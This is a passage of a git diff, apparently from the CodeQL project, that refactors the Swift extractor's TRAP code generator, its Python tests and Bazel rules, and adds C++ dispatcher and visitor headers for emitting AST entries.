+    with pytest.raises(AssertionError):
+        generate_traps([
+            dbscheme.Table(name="foos", columns=[]),
+        ])
+
+
+def test_one_table(generate_traps):
+    assert generate_traps([
+        dbscheme.Table(name="foos", columns=[dbscheme.Column("bla", "int")]),
+    ]) == [
+        cpp.Trap("foos", name="Foos", fields=[cpp.Field("bla", "int")]),
+    ]
+
+
+def test_one_table(generate_traps):
+    assert generate_traps([
+        dbscheme.Table(name="foos", columns=[dbscheme.Column("bla", "int")]),
+    ]) == [
+        cpp.Trap("foos", name="Foos", fields=[cpp.Field("bla", "int")]),
+    ]
+
+
+def test_one_table_with_id(generate_traps):
+    assert generate_traps([
+        dbscheme.Table(name="foos", columns=[
+            dbscheme.Column("bla", "int", binding=True)]),
+    ]) == [
+        cpp.Trap("foos", name="Foos", fields=[cpp.Field(
+            "bla", "int")], id=cpp.Field("bla", "int")),
+    ]
+
+
+def test_one_table_with_two_binding_first_is_id(generate_traps):
+    assert generate_traps([
+        dbscheme.Table(name="foos", columns=[
+            dbscheme.Column("x", "a", binding=True),
+            dbscheme.Column("y", "b", binding=True),
+        ]),
+    ]) == [
+        cpp.Trap("foos", name="Foos", fields=[
+            cpp.Field("x", "a"),
+            cpp.Field("y", "b"),
+        ], id=cpp.Field("x", "a")),
+    ]
+
+
+@pytest.mark.parametrize("column,field", [
+    (dbscheme.Column("x", "string"), cpp.Field("x", "std::string")),
+    (dbscheme.Column("y", "boolean"), cpp.Field("y", "bool")),
+    (dbscheme.Column("z", "@db_type"), cpp.Field("z", "TrapAffixLabel<DbTypeTag>")),
+])
+def test_one_table_special_types(generate_traps, column, field):
+    assert generate_traps([
+        dbscheme.Table(name="foos", columns=[column]),
+    ]) == [
+        cpp.Trap("foos", name="Foos", fields=[field]),
+    ]
+
+
+@pytest.mark.parametrize("name", ["start_line", "start_column", "end_line", "end_column", "index", "num_whatever"])
+def test_one_table_overridden_unsigned_field(generate_traps, name):
+    assert generate_traps([
+        dbscheme.Table(name="foos", columns=[dbscheme.Column(name, "bar")]),
+    ]) == [
+        cpp.Trap("foos", name="Foos", fields=[cpp.Field(name, "unsigned")]),
+    ]
+
+
+def test_one_table_overridden_underscore_named_field(generate_traps):
+    assert generate_traps([
+        dbscheme.Table(name="foos", columns=[dbscheme.Column("whatever_", "bar")]),
+    ]) == [
+               cpp.Trap("foos", name="Foos", fields=[cpp.Field("whatever", "bar")]),
+           ]
+
+def test_one_table_no_tags(generate_tags):
+    assert generate_tags([
+        dbscheme.Table(name="foos", columns=[dbscheme.Column("bla", "int")]),
+    ]) == []
+
+
+def test_one_union_tags(generate_tags):
+    assert generate_tags([
+        dbscheme.Union(lhs="@left_hand_side", rhs=["@b", "@a", "@c"]),
+    ]) == [
+        cpp.Tag(name="LeftHandSide", bases=[], index=0, id="@left_hand_side"),
+        cpp.Tag(name="A", bases=["LeftHandSide"], index=1, id="@a"),
+        cpp.Tag(name="B", bases=["LeftHandSide"], index=2, id="@b"),
+        cpp.Tag(name="C", bases=["LeftHandSide"], index=3, id="@c"),
+    ]
+
+
+def test_multiple_union_tags(generate_tags):
+    assert generate_tags([
+        dbscheme.Union(lhs="@d", rhs=["@a"]),
+        dbscheme.Union(lhs="@a", rhs=["@b", "@c"]),
+        dbscheme.Union(lhs="@e", rhs=["@c", "@f"]),
+    ]) == [
+        cpp.Tag(name="D", bases=[], index=0, id="@d"),
+        cpp.Tag(name="E", bases=[], index=1, id="@e"),
+        cpp.Tag(name="A", bases=["D"], index=2, id="@a"),
+        cpp.Tag(name="F", bases=["E"], index=3, id="@f"),
+        cpp.Tag(name="B", bases=["A"], index=4, id="@b"),
+        cpp.Tag(name="C", bases=["A", "E"], index=5, id="@c"),
+    ]
+
+
+if __name__ == '__main__':
+    sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/swift/codegen/test/utils.py b/swift/codegen/test/utils.py
index d4b40a9e155..231489e04e4 100644
--- a/swift/codegen/test/utils.py
+++ b/swift/codegen/test/utils.py
@@ -3,10 +3,11 @@ from unittest import mock
 
 import pytest
 
-from swift.codegen.lib import render, schema
+from swift.codegen.lib import render, schema, paths
 
 schema_dir = pathlib.Path("a", "dir")
 schema_file = schema_dir / "schema.yml"
+dbscheme_file = pathlib.Path("another", "dir", "test.dbscheme")
 
 
 def write(out, contents=""):
@@ -17,12 +18,14 @@ def write(out, contents=""):
 
 @pytest.fixture
 def renderer():
-    return mock.Mock(spec=render.Renderer())
+    return mock.Mock(spec=render.Renderer(""))
 
 
 @pytest.fixture
 def opts():
-    return mock.MagicMock()
+    ret = mock.MagicMock()
+    ret.swift_dir = paths.swift_dir
+    return ret
 
 
 @pytest.fixture(autouse=True)
@@ -38,7 +41,19 @@ def input(opts, tmp_path):
         load_mock.return_value = schema.Schema([])
         yield load_mock.return_value
     assert load_mock.mock_calls == [
-        mock.call(opts.schema)
+        mock.call(opts.schema),
+    ], load_mock.mock_calls
+
+
+@pytest.fixture
+def dbscheme_input(opts, tmp_path):
+    opts.dbscheme = tmp_path / dbscheme_file
+    with mock.patch("swift.codegen.lib.dbscheme.iterload") as load_mock:
+        load_mock.entities = []
+        load_mock.side_effect = lambda _: load_mock.entities
+        yield load_mock
+    assert load_mock.mock_calls == [
+        mock.call(opts.dbscheme),
     ], load_mock.mock_calls
 
 
diff --git a/swift/codegen/trapgen.py b/swift/codegen/trapgen.py
index fdb4eedd3f7..2dbb961f837 100755
--- a/swift/codegen/trapgen.py
+++ b/swift/codegen/trapgen.py
@@ -1,45 +1,24 @@
 #!/usr/bin/env python3
 
-import collections
 import logging
-import os
-import re
-import sys
 
 import inflection
+from toposort import toposort_flatten
 
-sys.path.append(os.path.dirname(__file__))
-
-from lib import paths, dbscheme, generator, cpp
-
-field_overrides = [
-    (re.compile(r"locations.*::(start|end).*|.*::(index|num_.*)"), {"type": "unsigned"}),
-    (re.compile(r".*::(.*)_"), lambda m: {"name": m[1]}),
-]
+from swift.codegen.lib import dbscheme, generator, cpp
 
 log = logging.getLogger(__name__)
 
 
-def get_field_override(table, field):
-    spec = f"{table}::{field}"
-    for r, o in field_overrides:
-        m = r.fullmatch(spec)
-        if m and callable(o):
-            return o(m)
-        elif m:
-            return o
-    return {}
-
-
 def get_tag_name(s):
     assert s.startswith("@")
     return inflection.camelize(s[1:])
 
 
-def get_cpp_type(schema_type):
+def get_cpp_type(schema_type: str, trap_affix: str):
     if schema_type.startswith("@"):
         tag = get_tag_name(schema_type)
-        return f"TrapLabel<{tag}Tag>"
+        return f"{trap_affix}Label<{tag}Tag>"
     if schema_type == "string":
         return "std::string"
     if schema_type == "boolean":
@@ -47,13 +26,13 @@ def get_cpp_type(schema_type):
     return schema_type
 
 
-def get_field(c: dbscheme.Column, table: str):
+def get_field(c: dbscheme.Column, trap_affix: str):
     args = {
-        "name": c.schema_name,
+        "field_name": c.schema_name,
         "type": c.type,
     }
-    args.update(get_field_override(table, c.schema_name))
-    args["type"] = get_cpp_type(args["type"])
+    args.update(cpp.get_field_override(c.schema_name))
+    args["type"] = get_cpp_type(args["type"], trap_affix)
     return cpp.Field(**args)
 
 
@@ -64,73 +43,46 @@ def get_binding_column(t: dbscheme.Table):
         return None
 
 
-def get_trap(t: dbscheme.Table):
+def get_trap(t: dbscheme.Table, trap_affix: str):
     id = get_binding_column(t)
     if id:
-        id = get_field(id, t.name)
+        id = get_field(id, trap_affix)
     return cpp.Trap(
         table_name=t.name,
         name=inflection.camelize(t.name),
-        fields=[get_field(c, t.name) for c in t.columns],
+        fields=[get_field(c, trap_affix) for c in t.columns],
         id=id,
     )
 
 
-def get_guard(path):
-    path = path.relative_to(paths.swift_dir)
-    return str(path.with_suffix("")).replace("/", "_").upper()
-
-
-def get_topologically_ordered_tags(tags):
-    degree_to_nodes = collections.defaultdict(set)
-    nodes_to_degree = {}
-    lookup = {}
-    for name, t in tags.items():
-        degree = len(t["bases"])
-        degree_to_nodes[degree].add(name)
-        nodes_to_degree[name] = degree
-    while degree_to_nodes[0]:
-        sinks = degree_to_nodes.pop(0)
-        for sink in sorted(sinks):
-            yield sink
-            for d in tags[sink]["derived"]:
-                degree = nodes_to_degree[d]
-                degree_to_nodes[degree].remove(d)
-                degree -= 1
-                nodes_to_degree[d] = degree
-                degree_to_nodes[degree].add(d)
-    if any(degree_to_nodes.values()):
-        raise ValueError("not a dag!")
-
-
 def generate(opts, renderer):
-    tag_graph = collections.defaultdict(lambda: {"bases": [], "derived": []})
-    out = opts.trap_output
+    tag_graph = {}
+    out = opts.cpp_output
 
     traps = []
-    with open(opts.dbscheme) as input:
-        for e in dbscheme.iterload(input):
-            if e.is_table:
-                traps.append(get_trap(e))
-            elif e.is_union:
-                for d in e.rhs:
-                    tag_graph[e.lhs]["derived"].append(d.type)
-                    tag_graph[d.type]["bases"].append(e.lhs)
+    for e in dbscheme.iterload(opts.dbscheme):
+        if e.is_table:
+            traps.append(get_trap(e, opts.trap_affix))
+        elif e.is_union:
+            tag_graph.setdefault(e.lhs, set())
+            for d in e.rhs:
+                tag_graph.setdefault(d.type, set()).add(e.lhs)
 
-    renderer.render(cpp.TrapList(traps), out / "TrapEntries.h")
+    renderer.render(cpp.TrapList(traps, opts.cpp_namespace, opts.trap_affix, opts.cpp_include_dir, opts.dbscheme),
+                    out / f"{opts.trap_affix}Entries.h")
 
     tags = []
-    for index, tag in enumerate(get_topologically_ordered_tags(tag_graph)):
+    for index, tag in enumerate(toposort_flatten(tag_graph)):
         tags.append(cpp.Tag(
             name=get_tag_name(tag),
-            bases=[get_tag_name(b) for b in sorted(tag_graph[tag]["bases"])],
+            bases=[get_tag_name(b) for b in sorted(tag_graph[tag])],
             index=index,
             id=tag,
         ))
-    renderer.render(cpp.TagList(tags), out / "TrapTags.h")
+    renderer.render(cpp.TagList(tags, opts.cpp_namespace, opts.dbscheme), out / f"{opts.trap_affix}Tags.h")
 
 
-tags = ("trap", "dbscheme")
+tags = ("cpp", "dbscheme")
 
 if __name__ == "__main__":
     generator.run()
diff --git a/swift/extractor/BUILD.bazel b/swift/extractor/BUILD.bazel
index 6ae8be83a59..c1badb3f67f 100644
--- a/swift/extractor/BUILD.bazel
+++ b/swift/extractor/BUILD.bazel
@@ -1,24 +1,26 @@
 load("//swift:rules.bzl", "swift_cc_binary")
 
-alias(
-    name = "swift-llvm-support",
-    actual = select({
-        "@bazel_tools//src/conditions:%s" % arch: "@swift_prebuilt_%s//:swift-llvm-support" % arch
-        for arch in ("linux", "darwin_x86_64", "darwin_arm64")
-    }),
-)
-
 swift_cc_binary(
     name = "extractor",
     srcs = [
+        "SwiftDispatcher.h",
         "SwiftExtractor.cpp",
         "SwiftExtractor.h",
         "SwiftExtractorConfiguration.h",
+        "SwiftTagTraits.h",
+        "SwiftVisitor.h",
         "main.cpp",
+        "visitors/DeclVisitor.h",
+        "visitors/ExprVisitor.h",
+        "visitors/PatternVisitor.h",
+        "visitors/StmtVisitor.h",
+        "visitors/TypeReprVisitor.h",
+        "visitors/TypeVisitor.h",
+        "visitors/VisitorBase.h",
     ],
     visibility = ["//swift:__pkg__"],
     deps = [
-        ":swift-llvm-support",
         "//swift/extractor/trap",
+        "//swift/tools/prebuilt:swift-llvm-support",
     ],
 )
diff --git a/swift/extractor/SwiftDispatcher.h b/swift/extractor/SwiftDispatcher.h
new file mode 100644
index 00000000000..e18d1e0fc5b
--- /dev/null
+++ b/swift/extractor/SwiftDispatcher.h
@@ -0,0 +1,200 @@
+#pragma once
+
+#include "swift/extractor/trap/TrapArena.h"
+#include "swift/extractor/trap/TrapLabelStore.h"
+#include "swift/extractor/trap/generated/TrapClasses.h"
+#include "swift/extractor/SwiftTagTraits.h"
+#include <swift/AST/SourceFile.h>
+#include <swift/Basic/SourceManager.h>
+#include <llvm/Support/FileSystem.h>
+
+namespace codeql {
+
+// The main responsibilities of the SwiftDispatcher are as follows:
+// * redirect specific AST node emission to a corresponding visitor (statements, expressions, etc.)
+// * storing TRAP labels for emitted AST nodes (in the TrapLabelStore) to avoid re-emission
+// Since SwiftDispatcher sees all the AST nodes, it also attaches a location to every 'locatable'
+// node (AST nodes that are not types: declarations, statements, expressions, etc.).
+class SwiftDispatcher {
+ public:
+  // sourceManager, arena, and trap are supposed to outlive the SwiftDispatcher
+  SwiftDispatcher(const swift::SourceManager& sourceManager, TrapArena& arena, TrapOutput& trap)
+      : sourceManager{sourceManager}, arena{arena}, trap{trap} {}
+
+  template <typename Entry>
+  void emit(const Entry& entry) {
+    trap.emit(entry);
+  }
+
+  // This is a helper method to emit TRAP entries for AST nodes that we don't fully support yet.
+  template <typename E>
+  void emitUnknown(E* entity) {
+    auto label = assignNewLabel(entity);
+    using Trap = BindingTrapOf<E>;
+    static_assert(sizeof(Trap) == sizeof(label),
+                  "Binding traps of unknown entities must only have the `id` field (the class "
+                  "should be empty in schema.yml)");
+    emit(Trap{label});
+    emit(ElementIsUnknownTrap{label});
+  }
+
+  // This method gives a TRAP label for already emitted AST node.
+  // If the AST node was not emitted yet, then the emission is dispatched to a corresponding
+  // visitor (see `visit(T *)` methods below).
+  template <typename E>
+  TrapLabelOf<E> fetchLabel(E* e) {
+    // this is required so we avoid any recursive loop: a `fetchLabel` during the visit of `e` might
+    // end up calling `fetchLabel` on `e` itself, so we want the visit of `e` to call `fetchLabel`
+    // only after having called `assignNewLabel` on `e`.
+    assert(std::holds_alternative<std::monostate>(waitingForNewLabel) &&
+           "fetchLabel called before assignNewLabel");
+    if (auto l = store.get(e)) {
+      return *l;
+    }
+    waitingForNewLabel = e;
+    visit(e);
+    if (auto l = store.get(e)) {
+      if constexpr (!std::is_base_of_v<swift::TypeBase, E>) {
+        attachLocation(e, *l);
+      }
+      return *l;
+    }
+    assert(!"assignNewLabel not called during visit");
+    return {};
+  }
+
+  // convenience `fetchLabel` overload for `swift::Type` (which is just a wrapper for
+  // `swift::TypeBase*`)
+  TrapLabel<TypeTag> fetchLabel(swift::Type t) { return fetchLabel(t.getPointer()); }
+
+  TrapLabel<AstNodeTag> fetchLabel(swift::ASTNode node) {
+    return fetchLabelFromUnion<AstNodeTag>(node);
+  }
+
+  // Due to the lazy emission approach, we must assign a label to a corresponding AST node before
+  // it actually gets emitted to handle recursive cases such as recursive calls, or recursive type
+  // declarations
+  template <typename E>
+  TrapLabelOf<E> assignNewLabel(E* e) {
+    assert(waitingForNewLabel == Store::Handle{e} && "assignNewLabel called on wrong entity");
+    auto label = createLabel<TrapTagOf<E>>();
+    store.insert(e, label);
+    waitingForNewLabel = std::monostate{};
+    return label;
+  }
+
+  template <typename Tag>
+  TrapLabel<Tag> createLabel() {
+    auto ret = arena.allocateLabel<Tag>();
+    trap.assignStar(ret);
+    return ret;
+  }
+
+  template <typename Tag, typename... Args>
+  TrapLabel<Tag> createLabel(Args&&... args) {
+    auto ret = arena.allocateLabel<Tag>();
+    trap.assignKey(ret, std::forward<Args>(args)...);
+    return ret;
+  }
+
+  template <typename Locatable>
+  void attachLocation(Locatable locatable, TrapLabel<LocatableTag> locatableLabel) {
+    attachLocation(&locatable, locatableLabel);
+  }
+
+  // Emits a Location TRAP entry and attaches it to a `Locatable` trap label
+  template <typename Locatable>
+  void attachLocation(Locatable* locatable, TrapLabel<LocatableTag> locatableLabel) {
+    attachLocation(locatable->getStartLoc(), locatable->getEndLoc(), locatableLabel);
+  }
+
+  // Emits a Location TRAP entry for a list of swift entities and attaches it to a `Locatable` trap
+  // label
+  template <typename Locatable>
+  void attachLocation(llvm::MutableArrayRef<Locatable>* locatables,
+                      TrapLabel<LocatableTag> locatableLabel) {
+    if (locatables->empty()) {
+      return;
+    }
+    attachLocation(locatables->front().getStartLoc(), locatables->back().getEndLoc(),
+                   locatableLabel);
+  }
+
+ private:
+  // types to be supported by assignNewLabel/fetchLabel need to be listed here
+  using Store = TrapLabelStore<swift::Decl,
+                               swift::Stmt,
+                               swift::StmtCondition,
+                               swift::CaseLabelItem,
+                               swift::Expr,
+                               swift::Pattern,
+                               swift::TypeRepr,
+                               swift::TypeBase>;
+
+  void attachLocation(swift::SourceLoc start,
+                      swift::SourceLoc end,
+                      TrapLabel<LocatableTag> locatableLabel) {
+    if (!start.isValid() || !end.isValid()) {
+      // invalid locations seem to come from entities synthesized by the compiler
+      return;
+    }
+    std::string filepath = getFilepath(start);
+    auto fileLabel = createLabel<FileTag>(filepath);
+    // TODO: do not emit duplicate trap entries for Files
+    trap.emit(FilesTrap{fileLabel, filepath});
+    auto [startLine, startColumn] = sourceManager.getLineAndColumnInBuffer(start);
+    auto [endLine, endColumn] = sourceManager.getLineAndColumnInBuffer(end);
+    auto locLabel = createLabel<LocationTag>('{', fileLabel, "}:", startLine, ':', startColumn, ':',
+                                             endLine, ':', endColumn);
+    trap.emit(LocationsTrap{locLabel, fileLabel, startLine, startColumn, endLine, endColumn});
+    trap.emit(LocatablesTrap{locatableLabel, locLabel});
+  }
+
+  template <typename Tag, typename... Ts>
+  TrapLabel<Tag> fetchLabelFromUnion(const llvm::PointerUnion<Ts...> u) {
+    TrapLabel<Tag> ret{};
+    assert((... || fetchLabelFromUnionCase<Tag, Ts>(u, ret)) && "llvm::PointerUnion not set");
+    return ret;
+  }
+
+  template <typename Tag, typename T, typename... Ts>
+  bool fetchLabelFromUnionCase(const llvm::PointerUnion<Ts...> u, TrapLabel<Tag>& output) {
+    if (auto e = u.template dyn_cast<T>()) {
+      output = fetchLabel(e);
+      return true;
+    }
+    return false;
+  }
+
+  std::string getFilepath(swift::SourceLoc loc) {
+    // TODO: this needs more testing
+    // TODO: check canonicaliztion of names on a case insensitive filesystems
+    // TODO: make symlink resolution conditional on CODEQL_PRESERVE_SYMLINKS=true
+    auto displayName = sourceManager.getDisplayNameForLoc(loc);
+    llvm::SmallString<PATH_MAX> realPath;
+    if (std::error_code ec = llvm::sys::fs::real_path(displayName, realPath)) {
+      std::cerr << "Cannot get real path: '" << displayName.str() << "': " << ec.message() << "\n";
+      return {};
+    }
+    return realPath.str().str();
+  }
+
+  // TODO: The following methods are supposed to redirect TRAP emission to correpsonding visitors,
+  // which are to be introduced in follow-up PRs
+  virtual void visit(swift::Decl* decl) = 0;
+  virtual void visit(swift::Stmt* stmt) = 0;
+  virtual void visit(swift::StmtCondition* cond) = 0;
+  virtual void visit(swift::CaseLabelItem* item) = 0;
+  virtual void visit(swift::Expr* expr) = 0;
+  virtual void visit(swift::Pattern* pattern) = 0;
+  virtual void visit(swift::TypeRepr* type) = 0;
+  virtual void visit(swift::TypeBase* type) = 0;
+
+  const swift::SourceManager& sourceManager;
+  TrapArena& arena;
+  TrapOutput& trap;
+  Store store;
+  Store::Handle waitingForNewLabel{std::monostate{}};
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/SwiftExtractor.cpp b/swift/extractor/SwiftExtractor.cpp
index 7413763aaba..692822c3e5e 100644
--- a/swift/extractor/SwiftExtractor.cpp
+++ b/swift/extractor/SwiftExtractor.cpp
@@ -12,11 +12,15 @@
 #include <llvm/Support/FileSystem.h>
 #include <llvm/Support/Path.h>
 
-#include "swift/extractor/trap/TrapEntries.h"
+#include "swift/extractor/trap/generated/TrapClasses.h"
+#include "swift/extractor/trap/TrapOutput.h"
+#include "swift/extractor/SwiftVisitor.h"
 
 using namespace codeql;
 
-static void extractFile(const SwiftExtractorConfiguration& config, swift::SourceFile& file) {
+static void extractFile(const SwiftExtractorConfiguration& config,
+                        swift::CompilerInstance& compiler,
+                        swift::SourceFile& file) {
   if (std::error_code ec = llvm::sys::fs::create_directories(config.trapDir)) {
     std::cerr << "Cannot create TRAP directory: " << ec.message() << "\n";
     return;
@@ -61,23 +65,33 @@ static void extractFile(const SwiftExtractorConfiguration& config, swift::Source
     return;
   }
 
-  std::ofstream trap(tempTrapPath.str().str());
-  if (!trap) {
+  std::ofstream trapStream(tempTrapPath.str().str());
+  if (!trapStream) {
     std::error_code ec;
     ec.assign(errno, std::generic_category());
     std::cerr << "Cannot create temp trap file '" << tempTrapPath.str().str()
               << "': " << ec.message() << "\n";
     return;
   }
-  trap << "// extractor-args: ";
+  trapStream << "// extractor-args: ";
   for (auto opt : config.frontendOptions) {
-    trap << std::quoted(opt) << " ";
+    trapStream << std::quoted(opt) << " ";
   }
-  trap << "\n\n";
+  trapStream << "\n\n";
 
-  TrapLabel<FileTag> label{};
-  trap << label << "=*\n";
-  trap << FilesTrap{label, srcFilePath.str().str()} << "\n";
+  TrapOutput trap{trapStream};
+  TrapArena arena{};
+
+  // In the case of emtpy files, the dispatcher is not called, but we still want to 'record' the
+  // fact that the file was extracted
+  auto fileLabel = arena.allocateLabel<FileTag>();
+  trap.assignKey(fileLabel, srcFilePath.str().str());
+  trap.emit(FilesTrap{fileLabel, srcFilePath.str().str()});
+
+  SwiftVisitor visitor(compiler.getSourceMgr(), arena, trap);
+  for (swift::Decl* decl : file.getTopLevelDecls()) {
+    visitor.extract(decl);
+  }
 
   // TODO: Pick a better name to avoid collisions
   std::string trapName = file.getFilename().str() + ".trap";
@@ -101,11 +115,11 @@ void codeql::extractSwiftFiles(const SwiftExtractorConfiguration& config,
         module->getFiles().front()->getKind() == swift::FileUnitKind::Source) {
       // We can only call getMainSourceFile if the first file is of a Source kind
       swift::SourceFile& file = module->getMainSourceFile();
-      extractFile(config, file);
+      extractFile(config, compiler, file);
     }
   } else {
     for (auto s : compiler.getPrimarySourceFiles()) {
-      extractFile(config, *s);
+      extractFile(config, compiler, *s);
     }
   }
 }
diff --git a/swift/extractor/SwiftTagTraits.h b/swift/extractor/SwiftTagTraits.h
new file mode 100644
index 00000000000..f7f439b93b0
--- /dev/null
+++ b/swift/extractor/SwiftTagTraits.h
@@ -0,0 +1,79 @@
+#pragma once
+
+// This file implements the mapping needed by the API defined in the TrapTagTraits.h, so that
+// TrapTagOf/TrapLabelOf provide the tags/labels for specific swift entity types.
+#include <swift/AST/ASTVisitor.h>
+#include "swift/extractor/trap/TrapTagTraits.h"
+#include "swift/extractor/trap/generated/TrapTags.h"
+
+namespace codeql {
+
+// codegen goes with QL acronym convention (Sil instead of SIL), we need to remap it to Swift's
+// convention
+using SILBlockStorageTypeTag = SilBlockStorageTypeTag;
+using SILBoxTypeTag = SilBoxTypeTag;
+using SILFunctionTypeTag = SilFunctionTypeTag;
+using SILTokenTypeTag = SilTokenTypeTag;
+using SILBoxTypeReprTag = SilBoxTypeReprTag;
+
+#define MAP_TYPE_TO_TAG(TYPE, TAG)           \
+  template <>                                \
+  struct detail::ToTagFunctor<swift::TYPE> { \
+    using type = TAG;                        \
+  }
+#define MAP_TAG(TYPE) MAP_TYPE_TO_TAG(TYPE, TYPE##Tag)
+#define MAP_SUBTAG(TYPE, PARENT)                           \
+  MAP_TAG(TYPE);                                           \
+  static_assert(std::is_base_of_v<PARENT##Tag, TYPE##Tag>, \
+                #PARENT "Tag must be a base of " #TYPE "Tag");
+
+#define OVERRIDE_TAG(TYPE, TAG)               \
+  template <>                                 \
+  struct detail::ToTagOverride<swift::TYPE> { \
+    using type = TAG;                         \
+  };                                          \
+  static_assert(std::is_base_of_v<TYPE##Tag, TAG>, "override is not a subtag");
+
+MAP_TAG(Stmt);
+MAP_TAG(StmtCondition);
+MAP_TAG(CaseLabelItem);
+#define ABSTRACT_STMT(CLASS, PARENT) MAP_SUBTAG(CLASS##Stmt, PARENT)
+#define STMT(CLASS, PARENT) ABSTRACT_STMT(CLASS, PARENT)
+#include "swift/AST/StmtNodes.def"
+
+MAP_TAG(Expr);
+#define ABSTRACT_EXPR(CLASS, PARENT) MAP_SUBTAG(CLASS##Expr, PARENT)
+#define EXPR(CLASS, PARENT) ABSTRACT_EXPR(CLASS, PARENT)
+#include "swift/AST/ExprNodes.def"
+
+MAP_TAG(Decl);
+#define ABSTRACT_DECL(CLASS, PARENT) MAP_SUBTAG(CLASS##Decl, PARENT)
+#define DECL(CLASS, PARENT) ABSTRACT_DECL(CLASS, PARENT)
+#include "swift/AST/DeclNodes.def"
+
+MAP_TAG(Pattern);
+#define ABSTRACT_PATTERN(CLASS, PARENT) MAP_SUBTAG(CLASS##Pattern, PARENT)
+#define PATTERN(CLASS, PARENT) ABSTRACT_PATTERN(CLASS, PARENT)
+#include "swift/AST/PatternNodes.def"
+
+MAP_TAG(TypeRepr);
+#define ABSTRACT_TYPEREPR(CLASS, PARENT) MAP_SUBTAG(CLASS##TypeRepr, PARENT)
+#define TYPEREPR(CLASS, PARENT) ABSTRACT_TYPEREPR(CLASS, PARENT)
+#include "swift/AST/TypeReprNodes.def"
+
+MAP_TYPE_TO_TAG(TypeBase, TypeTag);
+#define ABSTRACT_TYPE(CLASS, PARENT) MAP_SUBTAG(CLASS##Type, PARENT)
+#define TYPE(CLASS, PARENT) ABSTRACT_TYPE(CLASS, PARENT)
+#include "swift/AST/TypeNodes.def"
+
+OVERRIDE_TAG(FuncDecl, ConcreteFuncDeclTag);
+OVERRIDE_TAG(VarDecl, ConcreteVarDeclTag);
+
+#undef MAP_TAG
+#undef MAP_SUBTAG
+#undef MAP_TYPE_TO_TAG
+#undef OVERRIDE_TAG
+
+// All the other macros defined here are undefined by the .def files
+
+}  // namespace codeql
diff --git a/swift/extractor/SwiftVisitor.h b/swift/extractor/SwiftVisitor.h
new file mode 100644
index 00000000000..1f3d0a74ab7
--- /dev/null
+++ b/swift/extractor/SwiftVisitor.h
@@ -0,0 +1,40 @@
+#pragma once
+
+#include "swift/extractor/SwiftDispatcher.h"
+#include "swift/extractor/visitors/DeclVisitor.h"
+#include "swift/extractor/visitors/ExprVisitor.h"
+#include "swift/extractor/visitors/StmtVisitor.h"
+#include "swift/extractor/visitors/TypeVisitor.h"
+#include "swift/extractor/visitors/TypeReprVisitor.h"
+#include "swift/extractor/visitors/PatternVisitor.h"
+
+namespace codeql {
+
+class SwiftVisitor : private SwiftDispatcher {
+ public:
+  using SwiftDispatcher::SwiftDispatcher;
+
+  template <typename T>
+  void extract(T* entity) {
+    fetchLabel(entity);
+  }
+
+ private:
+  void visit(swift::Decl* decl) override { declVisitor.visit(decl); }
+  void visit(swift::Stmt* stmt) override { stmtVisitor.visit(stmt); }
+  void visit(swift::StmtCondition* cond) override { stmtVisitor.visitStmtCondition(cond); }
+  void visit(swift::CaseLabelItem* item) override { stmtVisitor.visitCaseLabelItem(item); }
+  void visit(swift::Expr* expr) override { exprVisitor.visit(expr); }
+  void visit(swift::Pattern* pattern) override { patternVisitor.visit(pattern); }
+  void visit(swift::TypeRepr* type) override { typeReprVisitor.visit(type); }
+  void visit(swift::TypeBase* type) override { typeVisitor.visit(type); }
+
+  DeclVisitor declVisitor{*this};
+  ExprVisitor exprVisitor{*this};
+  StmtVisitor stmtVisitor{*this};
+  TypeReprVisitor typeReprVisitor{*this};
+  TypeVisitor typeVisitor{*this};
+  PatternVisitor patternVisitor{*this};
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/trap/BUILD.bazel b/swift/extractor/trap/BUILD.bazel
index eecf5a07e53..5a3beca1ba8 100644
--- a/swift/extractor/trap/BUILD.bazel
+++ b/swift/extractor/trap/BUILD.bazel
@@ -1,16 +1,42 @@
 genrule(
-    name = "gen",
+    name = "trapgen",
     srcs = ["//swift:dbscheme"],
     outs = [
-        "TrapEntries.h",
-        "TrapTags.h",
+        "generated/TrapEntries.h",
+        "generated/TrapTags.h",
     ],
-    cmd = "$(location //swift/codegen:trapgen) --dbscheme $< --trap-output $(RULEDIR)",
+    cmd = " ".join([
+        "$(location //swift/codegen:trapgen)",
+        "--dbscheme $<",
+        "--cpp-include-dir " + package_name(),
+        "--cpp-output $(RULEDIR)/generated",
+    ]),
     exec_tools = ["//swift/codegen:trapgen"],
 )
 
+genrule(
+    name = "cppgen",
+    srcs = [
+        "//swift/codegen:schema",
+        "//swift/codegen:schema_includes",
+    ],
+    outs = [
+        "generated/TrapClasses.h",
+    ],
+    cmd = " ".join([
+        "$(location //swift/codegen:cppgen)",
+        "--schema $(location //swift/codegen:schema)",
+        "--cpp-include-dir " + package_name(),
+        "--cpp-output $(RULEDIR)/generated",
+    ]),
+    exec_tools = ["//swift/codegen:cppgen"],
+)
+
 cc_library(
     name = "trap",
-    hdrs = glob(["*.h"]) + [":gen"],
+    hdrs = glob(["*.h"]) + [
+        ":trapgen",
+        ":cppgen",
+    ],
     visibility = ["//visibility:public"],
 )
diff --git a/swift/extractor/trap/TrapArena.h b/swift/extractor/trap/TrapArena.h
new file mode 100644
index 00000000000..99d0b4a5d3b
--- /dev/null
+++ b/swift/extractor/trap/TrapArena.h
@@ -0,0 +1,23 @@
+#pragma once
+
+#include <iostream>
+#include <sstream>
+#include <vector>
+
+#include "swift/extractor/trap/TrapLabel.h"
+
+namespace codeql {
+
+// TrapArena has the responsibilities to allocate distinct trap #-labels
+// TODO this is now a small functionality that will be moved to code upcoming from other PRs
+class TrapArena {
+  uint64_t id_{0};
+
+ public:
+  template <typename Tag>
+  TrapLabel<Tag> allocateLabel() {
+    return TrapLabel<Tag>::unsafeCreateFromExplicitId(id_++);
+  }
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/trap/TrapLabel.h b/swift/extractor/trap/TrapLabel.h
index 62a574e4ff9..3751a98bdf3 100644
--- a/swift/extractor/trap/TrapLabel.h
+++ b/swift/extractor/trap/TrapLabel.h
@@ -4,22 +4,27 @@
 #include <iostream>
 #include <string>
 
-#include "swift/extractor/trap/TrapTagTraits.h"
-#include "swift/extractor/trap/TrapTags.h"
-
 namespace codeql {
 
 class UntypedTrapLabel {
   uint64_t id_;
 
   friend class std::hash<UntypedTrapLabel>;
+  template <typename Tag>
+  friend class TrapLabel;
+
+  static constexpr uint64_t undefined = 0xffffffffffffffff;
 
  protected:
-  UntypedTrapLabel() : id_{0xffffffffffffffff} {}
+  UntypedTrapLabel() : id_{undefined} {}
